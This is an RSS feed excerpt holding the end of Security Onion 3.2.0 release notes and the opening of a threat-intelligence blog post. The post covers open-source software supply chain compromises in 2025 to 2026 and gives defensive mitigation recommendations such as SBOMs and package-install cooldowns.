<li>Update baseline agents by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/defensivedepth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/defensivedepth">@defensivedepth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4914179884" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16081" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16081/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16081">#16081</a></li>
<li>auto state apply by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m0duspwnens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m0duspwnens">@m0duspwnens</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4895672771" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16071" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16071/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16071">#16071</a></li>
<li>PostgreSQL: prevent password log leak + self-heal SOC database bootstrap by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4931029829" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16084" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16084/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16084">#16084</a></li>
<li>postgress updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jertel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jertel">@jertel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4940740440" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16089" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16089/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16089">#16089</a></li>
<li>Fix agentMapping defaults: displayName values and DetectionEngineer key by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4942251689" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16093" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16093/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16093">#16093</a></li>
<li>Broader support for SigmaHQ rules + Elastic Defend logs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/defensivedepth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/defensivedepth">@defensivedepth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4939770011" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16087" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16087/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16087">#16087</a></li>
<li>Rename Detection Engineer agent key to DetectionEngineer by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950755500" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16096" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16096/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16096">#16096</a></li>
<li>apply salt.master state instead of just salt.minion during soup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m0duspwnens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m0duspwnens">@m0duspwnens</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4950768561" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16097" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16097/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16097">#16097</a></li>
<li>template updates by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4951426376" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16099" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16099/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16099">#16099</a></li>
<li>Remove icsnpp-modbus from defaults.yaml by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961841941" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16104" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16104/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16104">#16104</a></li>
<li>Map av to both defender and defend by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/defensivedepth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/defensivedepth">@defensivedepth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4961394412" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16103" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16103/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16103">#16103</a></li>
<li>call highstate in soup with a retry if first fails vs bailing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4962481383" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16106" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16106/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16106">#16106</a></li>
<li>Add default esheap value so nodes highstate without the pillar value by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m0duspwnens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m0duspwnens">@m0duspwnens</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4968626566" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16109" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16109/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16109">#16109</a></li>
<li>Express the highstate schedule in minutes instead of hours by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m0duspwnens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m0duspwnens">@m0duspwnens</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4970408406" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16111" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16111/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16111">#16111</a></li>
<li>Revert "elastic fleet server persistence" by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971047582" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16112" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16112/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16112">#16112</a></li>
<li>run es-url-updae prior to upgrade by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4971140326" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16113" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16113/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16113">#16113</a></li>
<li>Add already_running mapping by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/defensivedepth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/defensivedepth">@defensivedepth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4972180025" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16114" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16114/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16114">#16114</a></li>
<li>add sslverify=0 to minion repo config. Updates are pulled from the ma… by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4972406997" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16115" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16115/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16115">#16115</a></li>
<li>ignore all  TransformTask failures for so_kibana user by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4983242270" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16116" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16116/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16116">#16116</a></li>
<li>update vm state applid for pillar_push_map by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m0duspwnens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m0duspwnens">@m0duspwnens</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4988859077" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16117" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16117/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16117">#16117</a></li>
<li>Support sigma playbooks for airgap by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/defensivedepth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/defensivedepth">@defensivedepth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4989006768" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16118" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16118/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16118">#16118</a></li>
<li>Add Gemma configuration to defaults.yaml by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4990003566" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16119" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16119/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16119">#16119</a></li>
<li>Change defaults by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coreyogburn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coreyogburn">@coreyogburn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5000755040" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16121" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16121/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16121">#16121</a></li>
<li>Investigator and Engineer Use Gemma by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coreyogburn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coreyogburn">@coreyogburn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5000816671" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16122" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16122/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16122">#16122</a></li>
<li>3.2.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5012158987" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16124" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16124/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16124">#16124</a></li>
<li>3.2.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="5012284683" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16125" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16125/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16125">#16125</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/triggerman86/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/triggerman86">@triggerman86</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728920457" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16005" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16005/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16005">#16005</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/Security-Onion-Solutions/securityonion/compare/3.1.0-20260528...3.2.0-20260729">3.1.0-20260528...3.2.0-20260729</a></p></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Batten Down Your Packages: Mitigation Guidance for Supply Chain Compromise]]></title>
<description><![CDATA[Written by: Kelli Vanderlee, Stuart Carrera

For years, the cybersecurity industry's understanding of software supply chain compromise has been anchored by a few watershed events, including Russian cyber espionage actor ICE RELIC’s (formerly known as APT29) 2020 compromise of SolarWinds and North...]]></description>
<link>https://tsecurity.de/de/3698002/it-security-nachrichten/batten-down-your-packages-mitigation-guidance-for-supply-chain-compromise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3698002/it-security-nachrichten/batten-down-your-packages-mitigation-guidance-for-supply-chain-compromise/</guid>
<pubDate>Mon, 03 Aug 2026 00:08:45 +0200</pubDate>
<content:encoded><![CDATA[<div class="block-paragraph_advanced"><p>Written by: <span>Kelli Vanderlee, </span><span>Stuart Carrera</span></p>
<hr></div>
<div class="block-paragraph_advanced"><p><span>For years, the cybersecurity industry's understanding of software supply chain compromise has been anchored by a few watershed events, including </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor"><span>Russian cyber espionage actor ICE RELIC’s (formerly known as APT29) 2020 compromise of SolarWinds</span></a><span> and </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/3cx-software-supply-chain-compromise"><span>North Korean cyber espionage actor UNC4736's 2023 compromise of 3CX</span></a><span>. However, Google Threat Intelligence Group (GTIG) has been tracking growth in threat activity targeting open source software repositories to conduct supply chain compromises over the past several years. A series of large scale open source software supply chain compromise campaigns in 2025 and the first half of 2026 underscore how important it is that organizations implement defensive strategies that directly address this threat vector. </span></p>
<p><span>In this blog post, GTIG and Mandiant discuss trends we have observed in threat actor use of software supply chain compromise, and provide mitigation and hardening recommendations that incorporate insights we have developed as a result of supporting customers through recent campaigns in which threat actors manipulated open source packages. </span></p>
<h3><span>Open Source Supply Chain Compromise Grows in Volume and Impact in 2025 and Early 2026</span></h3>
<p><span>The majority of the most impactful and far-reaching supply chain compromise incidents that GTIG tracked in 2025 and early 2026 involved the compromise of code repositories, software dependencies and developer tools (T1195.001). Open source supply chain compromises offer attackers the same efficiency, scale, and initial stealth as traditional supply chain compromises, but typically require significantly less planning and resources to execute. However, open source supply chain compromises are also noisy once enabled; malicious open source packages are often discovered and publicized much more quickly than traditional supply chain compromises. </span></p>
<p><span>GTIG assesses with high confidence that the growth in very large-scale, open-source supply chain compromise </span><span>campaigns</span><span>, including use of worms and iterative compromises in 2025 and early 2026, represent a significant expansion in use of this tactic compared to prior years. We anticipate that threat actors will emulate the tactics of these campaigns and contribute to growth in open-source supply chain compromise through the rest of 2026 and years to come. GTIG identified several notable supply chain compromises in 2025 and early 2026 that we believe exemplify this trend of exceptionally large campaigns, as measured by size and/or impact (Figure 1). </span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/BattenDownYourPackages_1.max-1000x1000.png" alt="Notable open source supply chain compromises">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="vn5dq">Figure 1: Notable open source supply chain compromises, 2025 - early 2026</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><p><span>For example from February to May 2026, UNC6780 (aka "TeamPCP") conducted extensive open source supply chain compromises targeting ecosystems like PyPI, npm, and Docker Hub. Initial infection vectors varied across incidents, and included abuse of the </span><code>pull_request_target</code><span> GitHub Actions trigger to obtain base repository secrets and write permissions. The threat actor typically used compromised packages to deploy credential stealers, including SANDCLOCK, to obtain high value secrets. In incident response engagements, we observed UNC6780 attempting to pivot from </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/ai-vulnerability-exploitation-initial-access"><span>compromised artificial intelligence (AI) software</span></a><span> to broader network environments. UNC6780 has monetized stolen credentials through either direct sale of the stolen data, or through partnerships with ransomware and data theft extortion groups. </span></p>
<p><span>In March 2026, GTIG </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/north-korea-threat-actor-targets-axios-npm-package"><span>observed</span></a><span> the introduction of a malicious dependency in the legitimate </span><code>axios</code><span> package. GTIG analysis and the maintainer's </span><a href="https://github.com/axios/axios/issues/10636" rel="noopener" target="_blank"><span>post mortem</span></a><span> indicate that the maintainer account was compromised via social engineering and used to publish the updated versions. We identified the malicious dependency as a dropper that deploys the </span><a href="https://advantage.mandiant.com/malware/malware--804dc049-ef98-568b-b8ee-cc5cf634b52d" rel="noopener" target="_blank"><span>WAVESHAPER.V2</span></a><span> backdoor, and attributes the activity to North Korean actor MIDNIGHT NEPTUNE (formerly known as </span><a href="https://cloud.google.com/blog/topics/threat-intelligence/unc1069-targets-cryptocurrency-ai-social-engineering?e=48754805"><span>UNC1069</span></a><span>). While the malicious versions of axios were removed from the npm registry within three hours of their release, the scope of the compromise is estimated to be broad, as the package has over 100 million weekly downloads. GTIG supported customers in at least 15 industry verticals and 13 different countries affected by this incident. Further, axios is also a dependency for tens of thousands of other packages, and open sources </span><a href="https://socket.dev/blog/axios-npm-package-compromised" rel="noopener" target="_blank"><span>reported</span></a><span> that the malicious axios update had spread to several of these.</span></p>
<h4><span>AI Likely to Accelerate Open Source Supply Chain Compromises</span></h4>
<p><span>GTIG anticipates AI will accelerate the growth of open source software supply chain compromise. Integration of AI into open source software development practices, including "vibe coding," increases attacker opportunities both to manipulate AI functionalities and to take advantage of AI to speed and scale their own operational planning. Open sources have documented </span><a href="https://www.hiddenlayer.com/research/malware-found-in-trending-hugging-face-repository-open-oss-privacy-filter" rel="noopener" target="_blank"><span>multiple</span></a><span> </span><a href="https://blog.virustotal.com/2026/02/from-automation-to-infection-how.html" rel="noopener" target="_blank"><span>instances</span></a><span> of threat actors planting malicious resources on open source AI communities and </span><a href="https://www.koi.ai/blog/postmark-mcp-npm-malicious-backdoor-email-theft" rel="noopener" target="_blank"><span>inserting</span></a><span> malicious code into open source Model Context Protocol (MCP) packages. MCP is a standardized protocol for AI to interact with tools and data. Malicious packages have also tricked AI coding agents, which have unwittingly incorporated them into projects. North Korean threat actors </span><a href="https://www.reversinglabs.com/blog/claude-promptmink-malware-crypto" rel="noopener" target="_blank"><span>reportedly</span></a><span> uploaded malicious cryptocurrency-themed packages, and subsequently an AI coding agent co-authored a commit integrating one of the malicious packages as a dependency to a legitimate cryptocurrency trading project. </span></p>
<h4><span>Thousands of Malicious Open Source Packages Detected</span></h4>
<p><span>Corroborating GTIG's findings, statistics compiled by the Open Source Security Foundation (</span><a href="https://openssf.org/blog/2023/10/12/introducing-openssfs-malicious-packages-repository/" rel="noopener" target="_blank"><span>OpenSSF</span></a><span>), a cross-industry, non-profit collaboration under the Linux Foundation, indicate that the number of malicious open source software packages identified increased exponentially, or 1,444% from 2024 to 2025 (Figure 2).</span></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/BattenDownYourPackages_2.max-1000x1000.png" alt="Count of malicious open source packages">
        
        
      
        <figcaption class="article-image__caption "><p data-block-key="vn5dq">Figure 2: Count of malicious open source packages reported 2022–2025 (source: <a href="https://ossf.github.io/malicious-packages/stats/">OpenSSF</a>)</p></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph_advanced"><h3><span>Traditional Supply Chain Compromise Remains Rare</span></h3>
<p><span>In contrast to what we observed in the open source ecosystem, GTIG assesses with high confidence that traditional software supply chain compromise, the manipulation of source code or update/distribution mechanisms (T1195.002), remains rare. The handful of identified cases in 2025 and early 2026 were predominantly cyber espionage incidents with intentionally limited targeting scopes. </span></p>
<p><span>In the most significant case, </span><a href="https://www.fbi.gov/investigate/cyber/alerts/2025/north-korea-responsible-for-1-5-billion-bybit-hack" rel="noopener" target="_blank"><span>North Korean</span></a><span> threat actor UNC4899 </span><a href="https://x.com/safe/status/1897663514975649938?s=20" rel="noopener" target="_blank"><span>reportedly</span></a><span> used social engineering to compromise a developer's machine at a web3 organization. The threat actor </span><a href="https://slowmist.medium.com/bybits-1-5-billion-theft-unveiled-safe-wallet-front-end-code-tampered-84b78f0fa9c2" rel="noopener" target="_blank"><span>used</span></a><span> this access to inject malicious code into the frontend systems, </span><a href="https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/" rel="noopener" target="_blank"><span>specifically</span></a><span> impacting smart contract functionality to alter transactions initiated by a third party organization that utilized the multi-signature wallet with the targeted organization. This compromise was tailored to a single victim, but did not directly touch the targeted organization's infrastructure. The compromise ultimately led to a cryptocurrency theft of assets with an estimated value of $1.4B USD.</span></p>
<p><span>Other examples include the compromise of hosting infrastructure serving updates of </span><a href="https://notepad-plus-plus.org/news/hijacked-incident-info-update/" rel="noopener" target="_blank"><span>Notepad++</span></a><span> from June to December 2025, activity GTIG attributes to UNC6688. GTIG observed organizations in South Korea and France affected by this activity.  GTIG also tracked the early 2026 compromise of </span><a href="https://securelist.com/tr/daemon-tools-backdoor/119654/" rel="noopener" target="_blank"><span>DAEMON Tools installers</span></a><span>. During this campaign, UNC6863 deployed SLICKDEMON to perform broad-spectrum reconnaissance and filter for targets of strategic interest. Following this profiling stage, the group selectively delivered the shellcoded loader BADFALL to facilitate hands-on-keyboard activity and bridge the deployment of the advanced QUIC RAT. The campaign targeted Russia, Brazil, and Turkey, with follow-on exploitation of government and scientific entities in Belarus and Thailand.</span></p>
<p><span>In addition to likely cyber espionage incidents, we observed suspected financially motivated compromises with broader distribution. In two separate incidents threat actors compromised underlying software used in consumer-facing websites: in one case, </span><a href="https://www.securityweek.com/100-car-dealerships-hit-by-supply-chain-attack/" rel="noopener" target="_blank"><span>automotive dealership websites</span></a><span> served ClickFix lures leading to the installation of SHADOWLADDER (aka SectopRAT), and in another, eCommerce websites were </span><a href="https://sansec.io/research/license-backdoor" rel="noopener" target="_blank"><span>infected</span></a><span> with web skimmers.</span></p>
<h3><span>Mitigation Recommendations</span></h3>
<p><span>To effectively mitigate and harden against software supply chain compromises, organizations should adopt a multi-tiered defensive strategy designed to minimize exposure and strengthen resilience against potential compromises.</span></p>
<h4><span>Administrative Oversight and Risk Governance</span></h4>
<ul>
<li aria-level="1">
<p role="presentation"><strong>Cataloging Assets and Dependencies: </strong><span>Maintain a tiered, continuous inventory of all applications, third-party vendors, and services based on operational importance to detect single points of failure and security risks.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Software Bill of Materials (SBOM)</strong><span>: Implement an automated SBOM for all internal and third-party software packages, allowing security teams to continuously monitor and cross-reference active code inventories against newly disclosed vulnerabilities.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Action Bill of Materials (ABOM):</strong><span> Maintain a dedicated ABOM to inventory every third-party pipeline vendor and development utility in use, linking it to your container image inventory to track exactly which external actions are building your production images.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Software Development Lifecycle (SDLC) Threat Modeling and Attack Chain Mapping (Wiz SITF):</strong><span> Align your software supply chain risk management with capabilities such as the </span><a href="https://github.com/wiz-sec-public/SITF" rel="noopener" target="_blank"><span>Wiz SDLC Infrastructure Threat Framework (SITF) </span></a><span>to transition from treating security as a checklist of isolated controls to a holistic threat model. With this freely available framework, organizations can map recent incidents, threat actor campaigns, and red team exercises directly to Wiz SITF Reference IDs indexing each risk to its specific lifecycle stage: Version Control Systems (VCS), continuous integration and continuous delivery (CI/CD) pipelines, package registries, or production infrastructure. This methodology allows security teams to model complex "attack chains" where minor, isolated weaknesses (e.g., a lockfile bypass combined with an overprivileged pipeline token) are chained together by sophisticated threat actors to execute critical, high-impact breaches</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Active Risk Monitoring:</strong><span>  Maintain a dedicated supply chain risk register and a centralized remediation tracker to systematically group development lifecycle (SDLC) threats into clear operational domains: Governance, Identity, Pipeline Logic, and Supply Chain Hygiene. If using Wiz SITF, each vulnerability must be mapped to its exact pipeline stage with a unique Wiz SITF Reference ID. Instead of treating vulnerabilities as isolated bugs, prioritize the blocking of complex "attack chains" (such as a leaked token combined with missing branch protections and overprivileged OIDC trust) that pose the highest breach risk. Ensure each logged item has a designated owner, a targeted completion date, and clear tracking of technical dependencies.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Standardized Configuration &amp; Change Control:</strong><span> Form a Change Advisory Board (CAB) to manage the rollout of all enterprise software and hardware. Ensure every modification includes a pre-deployment risk review, post-deployment monitoring, and a verified plan for recovery or backout.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Staff Security Education:</strong><span> Deploy ongoing training initiatives centered on supply chain hazards, social engineering techniques, and internal procedures for reporting incidents.</span></p>
</li>
<li aria-level="1">
<p role="presentation"><strong>Node.js (npm/pnpm):</strong><span> Enforce cooldown controls by using the </span><code>minimumReleaseAge</code><span> configuration. Setting this value to at least 24 hours (1440 minutes) ensures that freshly published, potentially poisoned packages are quarantined until the broader security community has had time to identify and remove them. Ensure that older, unsupported package manager versions (such as legacy Yarn or pnpm versions) are modernized, as they will silently ignore these cooldown boundaries.</span></p>
</li>
<li aria-level="1">
